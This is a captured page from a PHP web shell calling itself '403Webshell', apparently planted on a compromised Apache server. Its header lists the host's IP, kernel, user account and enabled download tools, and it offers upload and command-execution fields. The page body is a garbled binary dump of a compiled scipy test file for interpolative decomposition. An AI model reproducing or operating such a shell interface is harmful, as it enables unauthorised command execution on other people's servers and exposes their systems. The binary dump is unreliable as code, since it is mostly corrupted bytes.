403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/linalg/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/linalg/tests/__pycache__/test_interpolative.cpython-311.pyc
�

d�cp#���ddlmcmZddlZddlmZmZm	Z	ddl
mZddlmZddl
mZmZmZmZddlZddlmZddlZddlZejdkZej��d���Zejejejg�	��d
���Zej��d���Zej��d���ZGd
�d��Z dS)�N)�hilbert�svdvals�norm��aslinearoperator)�
interp_decomp)�assert_�assert_allclose�assert_equal�assert_array_equal)�raiseslc#�K�dV�dS)N��-���q=�r��G/usr/lib/python3/dist-packages/scipy/linalg/tests/test_interpolative.py�epsr,s����
�K�K�K�K�Kr)�paramsc#�`K�d}t|���|j��V�dS)Ni,)r�astype�param)�request�ns  r�Ar1s5����	�A�
�!�*�*�
�
�G�M�
*�
*�*�*�*�*�*rc#�,K�t|��V�dS)Nr)rs r�Lr9s ����
�1�
�
�����rc���tj�|d���}	tj||k��dd}n#t$r|jd}YnwxYw|S)NF)�
compute_uvr)�np�linalg�svd�nonzero�
IndexError�shape)rr�S�ranks    rr&r&>sl��
�	�
�
�a�E�
�*�*�A���z�!�c�'�"�"�1�%�a�(���������w�q�z���������Ks�$A�A"�!A"c�.�eZdZej�dgd���d���Zej�dgd���d���Zej�ddg��d���Zej�dgd���d���Z	ej�dgd���d���Z
d	�Zd
�Zej�
ej���d��d�
��d���Zd�Zd�Zd�Zd�Zd�Zd�Zej�dejejg��ej�dddg��ej�dddg��d�������ZdS)�TestInterpolativeDecompositionzrand,lin_op)�FF)TF)TTc�"�tr+|jtjkr|rt	jd��|s|n|}t
j|||���\}}}	t
j|dd�|d|�f||	��}
t||
|d���dS�N�bug in external fortran code��rand�:�0�yE>��rtol�atol�
�	_IS_32BIT�dtyper�complex_�pytest�xfail�
pymatrixidr�reconstruct_matrix_from_idr
)�selfrrrr.�lin_op�A_or_L�k�idx�proj�Bs           r�test_real_id_fixed_precisionz;TestInterpolativeDecomposition.test_real_id_fixed_precisionJs����	9���B�K�/�/�D�/��L�7�8�8�8� �'���a��!�/���$�G�G�G���3���1�!�A�A�A�s�2�A�2�w�J�-��d�K�K����1�3�U�3�3�3�3�3�3rc�$�tr+|jtjkr|rt	jd��|}|s|n|}t
j|||���\}	}
t
j|dd�|	d|�f|	|
��}t|||d���dSr+r3)r;rrrr&r.r<r>r=r?r@rAs            r�test_real_id_fixed_rankz6TestInterpolativeDecomposition.test_real_id_fixed_rankWs����	9���B�K�/�/�D�/��L�7�8�8�8��� �'���a���,�V�Q�T�B�B�B�	��T��1�!�A�A�A�s�2�A�2�w�J�-��d�K�K����1�3�U�3�3�3�3�3�3rr)c��|}|s|n|}tj|||���\}	}
tj|	|
��}tj|||	��}t	||dd�|	d|�f|d���t	||z||d���dS)Nr-r/r0)r9r�reconstruct_interp_matrix�reconstruct_skel_matrixr
)
r;rrrr&r.r<r>r=r?r@�PrAs
             r�%test_real_id_skel_and_interp_matriceszDTestInterpolativeDecomposition.test_real_id_skel_and_interp_matricesds���
�� �'���a���,�V�Q�T�B�B�B�	��T��0��d�;�;���.�q�!�S�9�9����1�Q�Q�Q��B�Q�B��Z�=�s��?�?�?�?���A��q�s��7�7�7�7�7�7rc��tr+|jtjkr|rt	jd��|s|n|}t
j|||���\}}}	||z|	j�	��z}
t||
|d���dSr+�r4r5rr6r7r8r9r!�T�conjr
)r;rrrr.r<r=�Ur%�VrAs           r�test_svd_fixed_precisonz6TestInterpolativeDecomposition.test_svd_fixed_precisonps����	9���B�K�/�/�D�/��L�7�8�8�8� �'���a���.���4�8�8�8���1�a�
��E�A�C�H�H�J�J�����1�3�U�3�3�3�3�3�3rc��tr+|jtjkr|rt	jd��|}|s|n|}t
j|||���\}	}
}|	|
z|j�	��z}t|||d���dSr+rK)
r;rrrr&r.r<r>r=rNr%rOrAs
             r�test_svd_fixed_rankz2TestInterpolativeDecomposition.test_svd_fixed_rank|s����	9���B�K�/�/�D�/��L�7�8�8�8��� �'���a���.����6�6�6���1�a�
��E�A�C�H�H�J�J�����1�3�U�3�3�3�3�3�3rc��|}tj||d���\}}tj|dd�|d|�f||��\}}}	||z|	j���z}
t||
|d���dS)NFr-r/r0)r9r�	id_to_svdrLrMr
)r;rrr&r>r?r@rNr%rOrAs           r�test_id_to_svdz-TestInterpolativeDecomposition.test_id_to_svd�s������,�Q���>�>�>�	��T��&�q����C����G��}�c�4�@�@���1�a�
��E�A�C�H�H�J�J�����1�3�U�3�3�3�3�3�3rc�~�t|��}tj|��}t||ddd���dS)Nr���ư>r/r0)rr9�estimate_spectral_normr
)r;r�s�
norm_2_ests    r�test_estimate_spectral_normz:TestInterpolativeDecomposition.test_estimate_spectral_norm�s>���A�J�J���6�q�9�9�
��
�A�a�D�t�$�?�?�?�?�?�?r�armztest known to fail on armhf)�reasonc���|���}|dd�dfxxdzcc<t||z
��}tj||��}t	||ddd���dS)Nrg333333�?rWr/r0)�copyrr9�estimate_spectral_norm_diffr
)r;rrArYrZs     r� test_estimate_spectral_norm_diffz?TestInterpolativeDecomposition.test_estimate_spectral_norm_diff�sn��
�F�F�H�H��	�!�!�!�Q�$����3������A��E�N�N���;�A�q�A�A�
��
�A�a�D�t�$�?�?�?�?�?�?rc�>�tjgd�gd�gd�g|j���}||fD]s}d}tj�|t|d��|z��}t
j||��}t||k��t||dzk���tdS)N��rdr�rrrd�r5��&�.>��
)	r�arrayr5r �matrix_rankrr9�
estimate_rankr	)r;rrA�M�rank_tol�rank_np�rank_ests       r�test_rank_estimates_arrayz8TestInterpolativeDecomposition.test_rank_estimates_array�s����H�i�i�i����I�I�I�6�a�g�F�F�F���Q��	.�	.�A��H��i�+�+�A�t�A�q�z�z�H�/D�E�E�G�!�/��8�<�<�H��H��'�(�(�(��H��"��,�-�-�-�-�	.�	.rc�b�tjgd�gd�gd�g|j���}||fD]�}t|��}d}tj�|t
|d��|z��}tj||��}t||dz
k��t||dzk����dS)Nrcrerfrgrh�)
rrjr5rr rkrr9rlr	)r;rrArm�MLrnrorps        r�test_rank_estimates_lin_opz9TestInterpolativeDecomposition.test_rank_estimates_lin_op�s����H�i�i�i����I�I�I�6�a�g�F�F�F���Q��	-�	-�A�!�!�$�$�B��H��i�+�+�A�t�A�q�z�z�H�/D�E�E�G�!�/��H�=�=�H��H��!��+�,�,�,��H��!��+�,�,�,�,�
	-�	-rc��tjd��ttjd��ddgdd���tjd��tjd��}t|d	d
gdd���tj�d��tj��tjd��}tj�d��tjtj�d����tjd��}t||��t||��dS)N�defaultrhg#�$��?g�<P���?g-C��6?r/r0i�gdb��R�?g�2@吱?�7)r9�seedr
r.r�random)r;�x1�x2�x3s    r�	test_randz(TestInterpolativeDecomposition.test_rand�s����	�"�"�"��
���*�*�Y�
�,C�!��	.�	.�	.�	.�	������
�_�Q�
�
����Y�
�3�$�T�J�J�J�J�
�	���t���������
�_�Q�
�
��
�	���t�������	���r�*�*�+�+�+�
�_�Q�
�
����B������B�����rc���td���tj��}t	t
��5t
j|dd���ddd��dS#1swxYwYdS)N�rWFr-)rrr�float32�
assert_raises�
ValueErrorr9r)r;rs  r�test_badcallz+TestInterpolativeDecomposition.test_badcall�s����A�J�J���b�j�)�)��
�:�
&�
&�	:�	:��$�Q��5�9�9�9�9�	:�	:�	:�	:�	:�	:�	:�	:�	:�	:�	:�	:����	:�	:�	:�	:�	:�	:s�A&�&A*�-A*c��tjd��}tt��5t	j|d��ddd��dS#1swxYwYdS)N)rs�rs)r�onesr�r�r9r!)r;�as  r�test_rank_too_largez2TestInterpolativeDecomposition.test_rank_too_large�s����G�F�O�O��
�:�
&�
&�	!�	!��N�1�a� � � �	!�	!�	!�	!�	!�	!�	!�	!�	!�	!�	!�	!����	!�	!�	!�	!�	!�	!s�A�A�Ac���d}tj�dd��}tj||��\}}}t||jd��tj||��}tj|||��}t|||z��tj||��\}}tj||��}tj|||��}t|||z��dS)Nr��rd)
rrzr.r9rrr$rFrGr
)r;rrr>r?r@rHrAs        r�test_full_rankz-TestInterpolativeDecomposition.test_full_rank�s�����
�I�N�N�2�q�!�!��!�/��3�7�7���3���Q����
�#�#�#��0��d�;�;���.�q�!�S�9�9����1�q�5�!�!�!��,�Q��2�2�	��T��0��d�;�;���.�q�!�S�9�9����1�q�5�!�!�!�!�!rr5r.TFrrdg�������?c�"�tr&|tjkr|rtjd��tjgd�gd�gd�gd�gd�g|d���}|���}t|j||�	��t||��dS)
Nr,)���r�r�rrr)rrrrdrdrd)rdrrrdrr)rrdrrrdr)rrrdrrrd�C)r5�orderr-)
r4rr6r7r8rjr_rrLr)r;r5r.rrrAs      r�
test_bug_9793z,TestInterpolativeDecomposition.test_bug_9793�s����	9��"�+�-�-�$�-��L�7�8�8�8��H�+�+�+�(�(�(�(�(�(�(�(�(�(�(�(�	*�
!��
-�
-�
-��
�F�F�H�H���a�c�3�T�*�*�*�*��1�a� � � � � rN)�__name__�
__module__�__qualname__r7�mark�parametrizerBrDrIrPrRrUr[�skipif�platform�machine�
startswithrarqrur~r�r�r�r�float_r6r�rrrr(r(Hsx�������[����5�5�5�7�7�4�4�7�7�4��[����5�5�5�7�7�4�4�7�7�4��[���]�^�,<�=�=�	8�	8�>�=�	8��[����5�5�5�7�7�4�4�7�7�4��[����5�5�5�7�7�4�4�7�7�4�4�4�4�@�@�@�
�[���(��(�*�*�5�5�e�<�<�Eb��c�c�@�@�d�c�@�.�.�.�	-�	-�	-� � � �(:�:�:�
!�!�!�"�"�"�&�[���W�r�y�"�+�&>�?�?��[���V�d�E�]�3�3��[���U�Q��H�-�-�!�!�.�-�4�3�@�?�!�!�!rr()!�scipy.linalg.interpolativer �
interpolativer9�numpyr�scipy.linalgrrr�scipy.sparse.linalgrr�
numpy.testingr	r
rrr7r
r�r��sys�maxsizer4�fixturer�float64�
complex128rrr&r(rrr�<module>r�s���:0�/�/�/�/�/�/�/�/�����/�/�/�/�/�/�/�/�/�/�0�0�0�0�0�0�4�4�4�4�4�4�/�/�/�/�/�/�/�/�/�/�/�/�
�
�
�
�*�*�*�*�*�*�����
�
�
�
�
�[�5�
 �	���������������
�B�M�2�3�3�3�+�+�4�3�+���������������������k!�k!�k!�k!�k!�k!�k!�k!�k!�k!r

Youez - 2016 - github.com/yon3zu
LinuXploit